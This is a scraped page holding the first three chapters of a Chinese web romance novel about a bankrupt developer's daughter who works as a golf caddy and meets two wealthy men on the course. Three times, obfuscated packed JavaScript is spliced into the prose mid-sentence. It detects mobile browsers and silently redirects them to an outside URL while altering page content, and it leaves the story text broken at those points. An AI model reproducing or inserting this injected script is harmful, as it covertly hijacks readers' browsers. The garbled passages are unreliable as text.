《度今宵》 1. 重名率 度今宵 文/飞萌 2025.05.01 晋江文学城独家发表 - 早上六点,手机刚震第一下今宵就睁了眼,她迅速按掉闹钟,沉重的眼皮一阖,又眯了会儿。 心里念着要去疗养院看关老师,约莫十分钟后,她掀开被子轻手轻脚下了床。 脚刚踩进拖鞋,对床的白唯依就抱着被子翻了下身,床架子嘎吱一响,是她的不满:“才几点啊?” 她们学校一向是各专业混住,她又是这学期才搬进来,以至于她们宿舍四个人四个专业,上课时间各不相同。 白唯依觉浅,谁起床她都要醒,往常估计就忍了,今儿周五,她没有早八,一看时间才六点多,定然要抱怨。 时间的确太早,窗外又起了风,这会儿正摇着那几棵半红的栾树叶果泠泠作响,确是秋日好眠时,是她扰人清梦,她不好意思致歉,随便翻了条深灰伞裙套上,手里拿着针织衫就出门了。 昨夜陈文茵给她发消息,说关老师念了她一晚上,最近几天关老师食欲不太好,瞧着一脸郁色,她放心不下,一早就往疗养院去了。 到疗养院第一时间她就钻进医生值班室洗漱,昨夜是陈文茵值班,见她来,将手中咖啡一递,劝酒似的:“整两口?” 陈文茵是这疗养院最年轻的医生,家里往上数三代都是中医,她今年三十刚过,吃不了坐班看诊的苦,也积不了治病救人的福,托着家中爷爷的关系来了这疗养院混日子,倒是与今宵的生活哲学不谋而合。 她接过陈文茵手里的半杯冰美式喝了一口,问关老师是不是知道了? 陈文茵往窗边沙发上一躺,懒懒散散应她:“没呢,消息压得这么严,整个疗养院就我和龙院长知道,老太太时而清醒时而懵,我往她面前一站她都叫不出我名儿,怎么可能会知道?” 今宵松了口气:“那就行。” 陈文茵看她如释重负的样子,轻声发笑:“你倒是心宽。” “那我能怎么办?”她顿了瞬,笑着说,“总不能,我也跟他似的爬到那楼顶往下跳吧?那多难看啊。” 这个“他”,说的是今宵的父亲。 人到中年三道坎,婚姻,事业,健康,迈过去了至少顺遂稳当,迈不过去就能要了老命。 今霖这辈子就为个女人鬼迷心窍,忤逆父母,弃文从商,地产辉煌那几年,的确是过了几天好日子,经济一低迷,危机接踵而至。 先是发现老婆出轨,两人扯皮离婚硬生生扒掉了一层皮,后又交友不慎决策不善,在宁市的循环扩张策略被突如其来的经济危机中断,政策进一步收紧导致债务集中到期,手中项目接连停摆,债台高筑只好及时止损,已有资产拍的拍卖的卖,多年经营顷刻间化作过眼烟云。 今宵也曾怔怔地想,站在那十几层高的楼上往下跳究竟是什么感觉?是财来财去后的悲凉?还是历尽磨难后的如释重负?亦或是,想通了,看穿了,单纯不想活了? 应该跟她那天在楼顶中暑晕倒的感觉差不多吧,两眼一黑,万事不愁。 她转身进了洗漱间,方才捧着冷水洗脸,额前几缕长发还湿着,抬手一捋,她三两下给自己绑了个马尾,关老师手拿画笔一辈子,最看不得她披头散发写字作画。 “关老师吃完早饭了吗?” 陈文茵在外头应她:“差不多了吧,我过来的时候护士刚进去做检查,血压偏高,其他就还是老毛病,最近你们美院那老教授时常来陪她聊天解闷儿,白天都挺好的,就是晚上容易醒,但也没啥大碍,你不必这么忧心。” “辛苦你们照料了。” 今宵走出来,已然换了副神采。 她那马尾绑得马马虎虎,鬓边碎发倒是理得服服帖帖,极少有人能驾驭得住这大光明造型,她这么一绑一捋,倒是愈发衬得骨相优越了。 她那个妈妈品行一般,人是生得真美,又是江南水乡养出来的婉约柔媚,能歌善舞不说,还弹得一手好琵琶,也难怪她爸迷了一辈子,连被戴了绿帽也要想着多给她分点钱傍身,别再叫人欺负了去。 “你去看看吧,”陈文茵说,“我让人送早饭进来,你过会儿来跟我一起吃点儿。” “行。”今宵冲她柔柔一笑,怔然相望,宛见一汪静水拂进红叶一片,那眼波儿悠悠晃晃的,叫人瞧得不饮自醉。 陈文茵分了些神想,这芙蓉面美人骨已是惊艳,如霜似雪的清绝气更是浑然天成,若真让人如珠如宝护一辈子还好,这一朝跌落了凡尘,是福是祸,实难预料。 今宵拎着包往关老师房间去,这疗养院算是她们教育系统的老职工福利,环境幽静,设施齐全,医疗资源也好,虽说不能日日见面,但总比在家好。 今时不同往日,她没有足够的实力能请得起专业的护理团队让关老师安心在家休养,只好委屈她来这儿过集体生活,不过关老师那轻微的阿尔兹海默,还是要跟人多接触才好。 “关老师?” 背对着门坐的短发老太太没有回头,像是没听见。 今宵三步并作两步蹦到她眼前:“关老师!” 这回总算是听见了,关素荷瞪她一眼:“小兔崽子!吓我一跳!” 岁月仍为美人留了三分情面,这一蹙一嗔,还依稀能见关老师往日之昳丽。今教授年轻时,盛赞关老师集宝钗之仙姿,黛玉之灵窍,那相思的诗文写了一篇又一篇,爱慕的丹青画了一幅又一幅,最后凭着那比城墙拐角还厚的脸皮当了关老师三年跟班儿,这才求得美人垂青。 “在干嘛呢?” 今宵一垂眸,发现关素荷手里拿着一个速写本,纸上线条凌乱,像建筑又像树林,总之不是眼前的景儿。 “文茵给你的?” 关素荷手中铅笔还在动,头也没抬就问:“你爸中秋回来吗?” 今宵唇边的笑容有一瞬僵滞,她在关素荷身前蹲下,说:“你知道的,他应酬多,如今项目又在宁市,我一个月能见他一次就不错了。” 关素荷哼了声:“挣那么多钱不也是给你花的?天天不着家,连这团圆的日子也不念着你!还要他这个爹干嘛?干脆别回来了!” 今宵抱着她胳膊宽她心:“您别生气,等他一回来,我就拘着他来您面前磕头认错行吗?” 关素荷斜睨她一眼:“叫他一人来就得了啊。” 今宵笑着应下,极力按下了心头的涩意。 老太太言下之意是让孟女士别来,可孟女士和她爸离婚已经一年多了,她当时还为这事儿气了半个多月,现在是全给忘了。 她起了身往墙边柜子去,翻了老太太的茶叶罐子给她泡茶,这盒福鼎白毫银针还是她爸去南边出差带回来的,说是明前茶,还能降血压,特地买来孝敬老太太的。 这茶还没喝完,人先走了,她掐了掐掌心,撑起一个笑脸。 没一会儿陈文茵来叫她吃早饭,老太太嫌弃地摆摆手让她去了,陈文茵说:“老太太现在挺好的,虽说天天写字画画是孤僻了点儿,但至少有件事情做,咱这儿人多,她要是想找谁说说话也方便。” “嗯,我知道。” 今宵笑道:“关老师退休在家也是天天写字画画,她都习惯了。” “你今儿周五不上课?”陈文茵问。 有条消息进来,今宵看了眼手机,边打字边说:“这不是马上国庆?周教授去博物院办展去了,今下午的课节后补回来。” “那行,”陈文茵招呼她,“先吃饭吧。” 在疗养院混到了十一点,今宵问陈文茵借了条裤子,拎着包就往球场去了。 父亲走后,她便来了他朋友的球场兼职,关老师在疗养院的床位费可免,护理费和药钱还得自己掏,虽说有退休工资能覆盖,可这生了病的老人一天一个样,多存点钱总没坏处。 主动找到方伯文那天,他还不肯松口,他非说她一个细皮嫩肉的小姑娘,犯不着为这几个小费在球场上风吹日晒,转头塞给她两万块钱让她拿去应急,说兼职这事儿就算了。 她那天也是头一回在外人面前扮了可怜,那眉一蹙,声一哀,一开口就让人揪心,她说:“方叔叔你知道的,我虽从小学艺,但样样不精,也就球技能挣点儿钱,关老师那儿需要用钱,方叔叔不肯让我自己挣,难道是想让我伸手问别人要么?” 这年轻漂亮还缺钱的小姑娘,来钱最快的方式就是伸手问男人要。 她今家一家子体面人,老爷子老太太当了半辈子高校教授,腰板儿挺得比谁都直,今霖又才走不久,若这父子俩泉下有知,瞧见这两万块钱,怕是要气得掀了棺材板儿起来指着他鼻子骂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543011|171074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 方伯文沉默半晌,收回了那两万块钱,这才松了口。 往常今宵都是周末去,今天方伯文主动找了她,说是有贵客要来,她便踩着时间去球场候着。 她是兼职,没有底薪,也不拿出场费和点场费,只拿客人给的小费,挣多挣少全凭客人心情。 她从小学高尔夫,专业知识和球技自不必说,成绩也不错,她18洞成绩能维持在75杆上下,算是业余选手里的佼佼者,来球场打球的客人十成有九成不如她,偏她还人美嘴甜,几句话一说,情绪价值拉满,她下场一次抵别人十次。 她今天刚踏进接待大厅就迎上球场经理满是喜色的一张脸。 “今宵你可来了!马上有两位贵客到,你快去准备,”经理往她耳边一俯,“你方叔叔特地安排的,听着豪气得很,你一会儿表现好一点,说不定下个月就能歇着了。” 她笑着应下,心道,表现好不好她下个月都不歇,冬天一封场她就只能去喝西北风了,还就指着这两个月多挣钱呢。 换好衣服走出更衣室,迎面走来一姑娘。 “今宵?” 她一颔首,那姑娘眼皮就一耷拉,直接转了身说:“走吧,今天是我和你一起。” 这姑娘她有点儿印象,叫什么秋,他们都叫她秋秋,在这球场干了得有两三年了,长得挺漂亮,心气儿也高,一般散客她还不想跟。 她跟在秋秋后头往外走,客人来之前,她们要先去停车场等候,出了门她便将帽檐压了压,她虽天生皮肤白,可这打一场球动辄四五个小时,她再是天生丽质也抵不住长时间日晒,这个夏天她没晒黑,全凭防晒工作做得好。 方伯文这球场在景云山上,出了名的景色好,停车场的位置能将山下来车看得一清二楚,她还没走到位置就听秋秋抱怨:“经理让接的不会是这破红旗吧?” 今宵三两步跃上台阶,眼看后头跟过来一辆拼黑毒蛇绿的Urus,秋秋立马下了定论:“唷,这是老板带陪打来了,”她一偏头就支使她,“你去接那辆红旗。” 今宵没忍住蹙眉,倒不是因为这话,而是她要一早知道这贵客是路时昱,她今天就不来了。 整个北城就这一辆Urus是拼黑毒蛇绿,这学期开学那天,他那副驾驶车门还被她砸出个坑,也不知修复了没。 她往后退了两步,有点儿临阵脱逃的架势。 “我眼睛有点不舒服,回去拿个墨镜,人来了你先帮我带一下,我马上来!” 要了命了,她赶紧往回跑,准备拿墨镜和面罩遮一下,路时昱表弟缠了她好几个月,她从未给过好脸,不小心砸到他车那天,她还当众给了他表弟一巴掌。 路时昱这种人她惹不起,现在逃跑也来不及,好在她跟路时昱没什么正面接触,现在她就祈祷路时昱对她没印象,千万别将她认出来才好。 等她全副武装回到停车场的时候,Urus的后备箱门还开着,秋秋正在拿路时昱的球包,而路时昱本人,此刻正站在那辆红旗电车的后门位置跟人说话。 正在开后备箱的男人身量很高,许是路时昱姿态闲适,相较之下,那人更显挺拔,一身纯黑的装束说不上沉闷,但绝对神秘。 能让路时昱连车都不锁就主动凑到跟前说话的人,全北城也找不出几个,偏那人就开一辆“破红旗”,两人交谈,路时昱还是那个主动摘掉墨镜的人,光是这一点,就足以彰显那人的身份——他才是今天的贵客。 今宵愣在原地,一时不知是要上前还是后退。 很突然的,路时昱转头朝她看过来,静默一瞬,他朝她招呼:“115号,你不过来拿球包在那儿愣什么呢?” 今宵猛地回神,脚下却还跟灌了铅似的,一步都挪不动。 路时昱朝她喊话,那位贵客恍若未闻,只探身往后备箱拎球包。 秋秋恰好在这时候回头,一开口就是:“今宵,你好了吗?” 秋秋声音落下的那瞬间,贵客的球包也落了地,闻声,他抬眸朝她望过来。 明明两双眼隔了两副墨镜的黑,今宵却莫名有种视线相接的局促。 她怔怔地想,她这名字的重名率,和路时昱刚才没听见她名字的概率,究竟哪一个更低? “你就是今宵?” 很显然,她这名字重名率极低。 2. 不称职 - 既被认出,也没什么好遮掩的了,面罩不怎么透气,戴着墨镜去接客人也不够尊重,今宵一并摘下放进了马甲兜里。 今日分明天朗气清,乍然被两道目光牢牢攫住,她只觉眼前阴云密布,好似有点胸闷气短。 来客贵重,她不敢怠慢,果断迈开步子上前。 离得近了,两位男士的身高更加剧了那股莫名的压迫感,风里无端拂来一丝凉润的绿意,像风暴后的森林,凉风卷着氧气侵袭向她,让她有松一口气的错觉。 她恍然觉得这股香气很熟悉,却又想不起自己在哪里闻过。 没敢对上路时昱目光,她略仰首望向贵客漆黑的墨镜,因不见其眸色,她反倒镇定。 平静一瞬,她撑开一个标准笑容,用柔和的声线说着程式化的欢迎话语:“先生您好,欢迎光临景云国际高尔夫,我是115号球童今宵,很高兴能为您服务。” 眼前人不动声色,似乎是在打量,浓黑墨镜压着他直挺的鼻梁,给他本就端正的下半张脸平添几分冷肃,叫她失神惊慌,自己这话是不是哪儿说的不对? 她微扬的唇角缓慢回落,还是身边人的一声轻嗤打破了沉默,路时昱伸手一攥她手臂:“你来。” 这突如其来的桎梏并不如与那贵客沉默对视令人心慌,她被路时昱拽到了车旁,他平静的质问里拿的是戏谑的调子:“赵嘉义开我车泡妞儿,回来我这车门就凹了这么个坑,问他追的是谁也不肯说,还是我多方打听才问到今小姐大名,咱今儿好容易碰上了,今小姐不给我个说法?” “这是个意外,路先生。” 今宵侧身面向他,纤腰薄背藏在宽松的球童马甲里,荷梗似的挺得溜直,她那声音听着软,实则韧,像是理直气壮。 路时昱极轻地挑了下眉:“赵嘉义挨那巴掌也是意外?” 今宵并不忙作答,反倒是问:“路先生是想要车门的说法?还是巴掌的说法?” 路时昱眉心微蹙,唇边却染了笑:“这还各有说法?” 今宵定神望向他双眼:“路先生若是想要车门的说法,那我很抱歉,在拒绝赵嘉义的过程中,我的手机脱手飞出去砸到了您的爱车,并非是我有意,如果路先生需要我赔偿,我会尽我所能让您满意。” “但若路先生想要巴掌的说法,那您应该谢我。” “我谢你?”路时昱像是听见了什么天大的笑话,他顺势往车门上一靠,双手抱胸,一副听她说笑的架势,“我谢你什么?” 今宵缓了口气说:“民法典对性骚扰的定义是:违背他人意愿以言语、文字、图像或是肢体对他人实施骚扰的行为。” “赵嘉义跟踪骚扰我长达三个月之久,并当众以钱财对我进行人格羞辱,他的行为早已超越了‘泡妞儿’的范畴,严重影响了我的日常生活。” “赵嘉义是您的表弟,在外说话行事总绕不开您的名头,他若学雷锋做好事,您未必脸上有光,可他若是行差踏错违法乱纪,污的是您的名,下的是您的脸,我教训赵嘉义,是在替您肃正家风。” 谈判并非今宵所长,她也不是真的想要路时昱感谢,父亲走后,已无人能给她庇护,她便只能在这方寸罅隙之间,为自己求一份平安。 她当过有钱人,知道像路时昱这样有钱到一定程度的人最在乎什么,他犯不着为一个明显有错的纨绔出头,也笃定了他不会当着那位贵客的面为难自己。 路时昱听得怔神,也看得怔神,方才这小姑娘一直对着沈修齐说话,他都没瞧清正脸,这下不仅瞧清了,还知道那小.逼崽子为啥要死心塌地跟人三个月了,那巴掌抽他脸上,怕是抽得他暗爽了三天。 “替我肃正家风?”他唇边噙着笑意打趣今宵,“今小姐用什么身份替我肃正家风?” 今宵再是迟钝,也听出了他言辞间的调戏意味,她方才只顾着让自己占理,根本没想到那句肃正家风还能被他钻了空子。 果然这天下纨绔都一个样儿! 她被心中郁结的闷气憋得脸皮涨红,还没想好怎么回,一个冷冽嗓音插过来:“时间差不多了吧?” 今宵一转身,感觉自己又隔着墨镜对上了那位贵客的视线。 这秋日的阳光分明裹了他全身,却没将他周身寒气驱散分毫,这要搁方才,她必然被这凛冽之气吓得退避三舍,可这话进来的时机太巧,巧到不费吹灰之力就解了她的困,她无法确定贵客是有意或无意,她只当他好心。 此番调戏被打断,路时昱却没作声,今宵便知,她不必再回答刚才的问题。 她没再转回去,只三步并作两步上前,主动朝贵客致歉:“不好意思先生,耽误了您的时间。” 一走近,那丝凉润的绿意便重回她鼻尖,她终于能确定,这香气是来自他身上,幽冷的雨后森林,是她对他的嗅觉记忆。 她亦步亦趋跟在他身后,视线自然低垂,剪裁合衬的黑色长裤将他一双长腿包裹得正好,走动间,依稀能见他流畅的腿部线条,眼看他要去拿球包,她赶紧小跑着上前接过:“我来吧先生。” 客人来打球,她才是那个提供服务的人,怎么能让客人自己拿球包?简直倒反天罡。 可方才经路时昱一调戏,她这行动多少带了些莽撞,毫无预兆地,她碰上了他经络明晰的手背,那动作,像是在握他的手。 一瞬温润触觉传来,她五指微蜷,下意识偏头看身旁的人。 此时太阳还在头顶,金光就这么直直往下落,淡褪了他墨镜的颜色,让她清清楚楚看到了他双眼。 与他对视,不再是她的错觉。 “没关系,我来。” 沈修齐拎起了球包,先她一步朝球车走过去。 今宵浑身僵滞一瞬,感觉自己出现了新的错觉。 他刚才那句话是不是挺温柔? 她赶紧跟上前,这哪是错觉?这分明是幻觉。 路过秋秋身旁,她低声递来一句:“认识?” 今宵摇摇头。 她不想和路时昱认识。 但路时昱明显不是这么想的。 Checkin结束准备去发球台,她和秋秋刚往球车后头一站,路时昱就转过头来问她:“听说你们A场难度很高?” 正当她思考要不要接话时,秋秋已经开口回答:“是的先生,我们球会毕竟是在山上,地势起伏相对较大,障碍也多,A场又比B场地势高,球很难落地即停,果岭速度也更快,切推都有难度,先生今天是特地来挑战的吗?” 话是秋秋应的,路时昱的视线却始终在今宵脸上流连,不过被盯住的人并未与他对视,她只目视前方,恍若未闻。 路时昱不得趣,将身子转回些许,把问题抛了出去:“是特地来挑战的么三哥?” 有段时间没能见到沈修齐,路时昱本来攒了一局,但这位沈三爷刚从南边儿考察回来,说那边的应酬就没完没了,好不容易歇下来,想打打球放松一下。 本来约的锦绣,那边草皮质量更高,人也少,无论是打球还是谈事,都更适合,没想到沈修齐直接提了景云山,他也不好多问,便给方伯文打了招呼。 再一回头看今宵,确实安排得挺好。 沈修齐专注开着球车,听他问,这才回神似的说:“景云A场,是挺难的。” “先生之前来过?” 今宵也不知道自己为何要接沈修齐的话,但就是脱口而出了,那便当闲聊吧,毕竟陪聊也是球童的工作内容之一。 “六月份来过一次,没太打好。” “如何不好?”今宵问。 差不多到发球台,沈修齐将球车停稳,应她:“蓝Tee打了+3.” 路时昱惊了一声:“三哥,您太谦虚了,这山地场打75杆都快赶上职业选手了,这还叫不太好?” 嚯,还真是来挑战的。 “这不是还没赶上?” 沈修齐下了球车,视线不着痕迹从今宵身上滑过,这小姑娘为了防晒把自己裹得严严实实,却单单将一截 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543012|171074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪颈敞在阳光下,隔着墨镜,他都能感受到那抹白,该是晴光映雪般晃眼。 “所以这次来试试黑Tee.”他这话是对着今宵说的。 但今宵并未察觉他一晃而过的视线,马上就要开球,她摘了一号木的杆套,一看杆面的甜蜜点。 ......好厉害。 她一抬头,沈修齐就站在她身侧,正伸手往球包拿手套。 她没意识到沈修齐走近,挡了他的站位,此时他俯身靠近,她有种被他拥进怀里的错觉。 她僵在原地,直到那缕青绿香气散开,她无意识屏住的呼吸才恢复正常。 奇怪了,她今天的错觉怎么这么多? 察觉面庞添了几分热,她没好再看沈修齐,只盯着那杆面的甜蜜点说:“A场有不少球洞都是越靠近果岭越难停球,像先生这样的远距离选手,从蓝Tee开球就是直奔果岭去的,如果开球没有落到理想球位,切杆难度就会增加,黑Tee虽然距离上更远,但对您来说,容错率反而提高了,您打黑Tee,应该会有更好的成绩。” “挺专业啊,”路时昱又接过了今宵的话问,“看来这个场你打过挺多次啊?” 她回头看了路时昱一眼,又将视线收回朝沈修齐递过去。 “我比先生差远了,A场蓝Tee要奔90杆去了。” 说完她便伸手去取球杆,奈何沈修齐还是先她一步,他指腹温软,匆匆一滑,将触感留在了她手背,他利落取了球杆从她身边过,留下一句只有她能听见的话:“很厉害了,今小姐。” 这嗓音清冽,如薄酒入喉,温润清爽过后,是长久不消的灼烫。 她紧跟着转身,脚下乱一瞬,又很快平定。 她今天这球童当的,是真不称职。 球包客人自己拎,球杆也是他自己拿,她就空着一双手跟上去,连插Tee都不用她帮忙。 她兼职时间不长,但接待的客人也不少,像这般不知所措的情况,还是头一回。 眼看沈修齐已经准备要开球,她赶紧报数据:“415码,四杆洞,果岭在左边树林后面,可以从树上过,但要打310左右才能上球道。” 可以有不从树上过的打法,但她觉得,以这位贵客的水平,应该不用多打一杆过渡。 沈修齐手拿球杆试挥了一下,今宵忽地想起来问:“先生需要拍摄吗?” 来球场打球的客人就算是没有社交媒体的更新需求,也会用手机记录下自己的打球过程,以便复盘打球动作和细节,精进球技。 她这话音才落,路时昱就将自己的手机递了上来:“你拍我好了,我这三哥最烦出现在谁的镜头里。” 今宵没接,仍是看沈修齐。 秋秋赶紧凑过来:“我帮您拍吧,先生。” 她想伸手去接路时昱的手机,被他一躲。 路时昱可不是个蠢的。 方才这小姑娘口口声声说着什么,赵嘉义一旦行差踏错下的是他路时昱的脸,这还没等赵嘉义违法乱纪呢,他这脸就已经被她下了三回了。 小姑娘年纪不大,架子还不小,也难怪能当众扇赵嘉义巴掌,是个辣的。 今宵的迟疑并非是她不愿,毕竟砸了路时昱的车在先,方才也没商量出个对策,她今天又是随行球童,总是要为客人提供服务的,可她一来跟的是沈修齐,总得要先问他的意思。 她太过专注去等待答复,便不知她此刻落在沈修齐眼中究竟是何模样。 事后想起来,应该少不了急切与期待,或者再多一点,求助。 否则他这位“最烦出现在谁镜头里”的贵客,怎么会递来已解锁的手机,承托住她当时外露的情绪? 随他手机一同递过来的,是他的嗓音,原是山涧清泉般沁凉的音色,却无端添了这秋阳的柔和暖,拂去了她心头因等待而生的焦躁。 “我正好调下动作。” 她喜形于色地去接过,唇边笑意赧然。 “我一定给您好好拍!” 3. 四月天 - 见了鬼了。 这是路时昱看到沈修齐朝今宵递出手机时的第一反应。 要知道这大名鼎鼎的沈三爷可是个极重隐私的人,他们一帮公子哥聚会,谁要是带不熟的姑娘来,那第一回都是要收手机的。 这拍视频虽说是用他自己的手机,但那可是手机! 他竟然把自己的手机,解了锁,交到一个陌生人手里。 这要不是见鬼撞邪,就是他还没睡醒。 什么时候沈三爷的打球动作还用得着自己看视频调了? 他深深望了今宵一眼,要不是他知道这俩人今天是第一次见面,该是要怀疑,是眼前这妖孽给沈修齐下降头了。 他转身,另一姑娘又凑上来问他:“先生需要拍摄吗?” 他将手机收进兜里:“不了。” 今宵并不知道她接了沈修齐的手机能让路时昱想这么多,她只知道她镜头里的这位贵客,实在养眼。 他今天的外套是件很普通的迪桑特,轻便宽松,并不显轮廓,她方才跟在他身后,也只觉得他身高腿长,一准备开球,这肩背,腰臀,四肢轮廓都在镜头里显现,饶是她从小与美学为伴,这时候也得说一句“顶级”,她甚至不需要找角度和光线,随便怎么拍,她镜头里的人都很好看。 “我好了。”她已经按下拍摄键,便轻声示意沈修齐可以开球。 有了手机镜头的遮掩,她便能将视线毫无顾忌投在他身上,她在这时候想起方才在停车场的对视,他的墨镜如一片夜色朦朦,而隐在那夜雾里的,是一双极为漂亮的眼睛。 她看不清他的眸色,却看得清自己的情绪——让她紧张,又让她看见平和与宁静。 极为清脆的一声响,她匆匆回神。 小白球高高越过树丛梢头,带出一条完美的抛物线,又迅速消失在树林之后。 沈修齐的开球动作干净利落,力量极大,指哪打哪,她心中惊讶,光顾着“哇”,甚至忘了说一句“好球”,还是身旁的秋秋出了声,她才后知后觉补了句:“niceshot.” 路时昱被球杆的破风声惊到想笑:“不是我说,三哥,你这开了得有350码吧?我今儿是不是不用打了?” 沈修齐收了杆,顺手捡起地上的Tee朝今宵走近,看了路时昱一眼:“咱又不赌球,你随便玩儿。” 今宵迅速将视频暂停,两步上前递给了他,极为认真地说了自己的结论:“您这动作已经是完美了,不用调。” 他接手机时略低头看了一眼,唇边似乎有笑意牵动,但稍纵即逝,今宵瞧得并不真切。 等着路时昱开完球,他们一行人来到了下一个球位。 方才有树丛遮挡,今宵并不能确定沈修齐究竟打了多远,这时候走上球道一看,total355,离旗只剩60码了。 她直接给他递上一支60度挖起杆,没再问要不要拍摄。 到此刻,一切已然明了。 他哪用得着录视频调动作呢?这分明是他又一次好心的解围。 路时昱的球位和他们隔了一段距离,没了那个纨绔在身边,她这才小声地说句:“谢谢您。” 沈修齐还看着果岭的方向,回她的语气淡如水:“谢我什么?” 今宵轻柔地答:“谢您解围。” 沈修齐回眸,小姑娘正仰着一张素净的小脸看他,眉目婉然,笑意盈盈。 没由来让他想起今年四月的一天,他闲来无事推窗赏春,那折枝窗牖一展,园中玉兰竟探窗而来,花枝抖落花瓣一二,骤惊了春风,迷了看花人的眼。 他摸到手机解锁,又递给她:“就不能是我真想调动作?” 眼见不一定为实,但感受一定为真。 今宵笑着接过:“那我也记您的情。” 她退了几步,按下拍摄键给他报数据:“前旗,60码,果岭平坦,速度10.5,”她抬眼,越过手机看他本人,“先生,foreagle.” 这回,今宵真真切切见了沈修齐的笑容。 她今日的错觉造就了好多次自以为的“对视”,有那么一两次,她也想看看墨镜后的那双眼究竟是怎样的神采,可到现在,她觉得这样就很好。 就像解围与否是一件不必非得说清的事,那这雾中的人,也不必非得看清。 沈修齐这一杆同样打得很好,虽说没有直接切进,但球也停在了离球洞两码的位置,推球变得极其容易,birdie毫无悬念,一切完美到连夸赞都像是画蛇添足。 她按下暂停键,将手机递还给他,又从他手中接过推杆拿着,没再多说话,安静站到了一旁,等着路时昱将球打上果岭。 “麻烦么?” 今宵听声回望,沈修齐跟着站到了她身侧,宽肩如春山硬朗,刚好遮去这偏斜的秋阳,叫她徐徐生热的侧脸躲了几寸荫凉。 “什么?”她没太明白沈修齐的意思。 他略侧身对上她视线,说:“拍摄,麻烦么?” “当然不,”她仰着脸笑,“这是我的工作,只要能让先生满意,让我怎么拍都行。” “你拍得很好。” 有句话已经到唇边,今宵生生咽了回去,换了句说:“没什么技术含量,先生谬赞了。” “当心!” 她瞥了眼球道,猛地将沈修齐往边上推了几步。 方才只顾着说话,她压根儿没听见秋秋那声“看球”,小白球擦着她身后落地,她要不推这一下,那球就该砸中沈修齐了。 她顾不上自己怦怦直跳的心,也顾不上自己慌张扑进沈修齐怀中的动作,匆匆抬眸看他:“您没事吧?” “没事吧?” 两人的声音撞在一起,今宵迅速站直了身子,虚虚护住她后脑的那只手也悄无声息放下。 “不好意思啊先生,怪我不留神,让您跟着受惊了。” 今宵脸上的惊惧之色还未消,却已经出于本能开始安抚沈修齐的情绪,倒让被安抚的人微微一滞。 “我没事。” 他沉静地给出了回应,蹙着眉棱往路时昱的方向睇去一眼。 今宵将慌乱之中扔在地上的球杆重新捡了起来,说:“您没事就好,”她垂眸拂去球杆上的草屑,“虽说这球的力道已经小了很多,但砸到身上也是要疼好久的。” 沈修齐收回视线:“光顾着护我,你不怕被砸到?” 今宵仰首望向他漆黑墨镜,既是有惊无险,她又展颜冲他笑:“只要您上了这球道,确保您的安全是我的职责,再说,您没瞧见我刚才的动作多灵巧?我目标小,那球不好砸到我的,倒是您......” “我块头大呗?”沈修齐笑着接话。 今宵跟着笑得眉眼弯弯,唇畔漾起的弧度,就像是他那天开窗拂落的那片花,雪白轻盈,打着旋儿坠进幽潭里,惊起一阵水纹悠悠。 被一个还不到自己肩膀高的小姑娘保护,还真是头一回。 谈话间,路时昱带着秋秋过来,一来就打趣今宵:“你怎么做个球童还投怀送抱的?” 今宵站在沈修齐身侧,面不改色心不跳地应:“方才要是您站我身边,我也对您‘投怀送抱’,也难怪先生不跟您赌球,就您这左拉大冒险,合该找个教练调调再来,省得伤了人,医药费都得多掏几万。” “嘿,你这小丫头片子,嘴挺利啊。” “时昱,”沈修齐打断了他,“差点砸到人姑娘,你不给人道歉?” “三哥,我——” 他这话还没说完今宵就接过去了:“先生,道歉就不必了,左右是这球长了翅膀不听路先生使唤,飞出去就找不着方向喽~” 秋秋在一旁听得直笑。 “那好,”沈修齐轻咳一声,半握着拳放到唇边掩饰笑意,没给路时昱再说话的机会,“时昱推球吧。” 路时昱吃了瘪,瞪了今宵一眼,今宵正好对上他视线,憋着笑不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543013|171074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话。 技不如人还不让说? 路时昱和沈修齐的水平有明显差距,从第二个球洞开始,两人调换了开球顺序,今宵也再没和沈修齐独处过。 在这过程中,路时昱时不时就要朝她递来目光,今宵从他眸中读到了很多种情绪,最明显的,是不解。 不解什么呢?想探究什么呢? 她也不懂,她只管做好自己的本职工作。 进程不知不觉到了尾声,近日暮,四人来到一个三杆洞。 路时昱技不如人,打到现在已经带了点烦躁,一看这球洞就开始吐槽:“你们这球场的设计师是谁啊?这么大片水,不知道的,还以为我是来钓鱼的。” 今宵被他这话逗得想笑,也难得出声应他:“这洞确实挺难的。” 其实说难也不难,无非就是从黑Tee发球必须要从水上过,果岭前低后高,但前面是一片水,另外三面都有沙坑,这球打轻了容易进水,打重打偏了容易进沙坑,得要刚刚好的力道和方向才能让球准确落在果岭上。 她冲沈修齐说:“球洞就在果岭中间,先生可以瞄果岭右后方,那块宽,可以稍微打大一点,让球往回拉,还是有机会抓鸟的。” 沈修齐让出位置:“时昱先。” 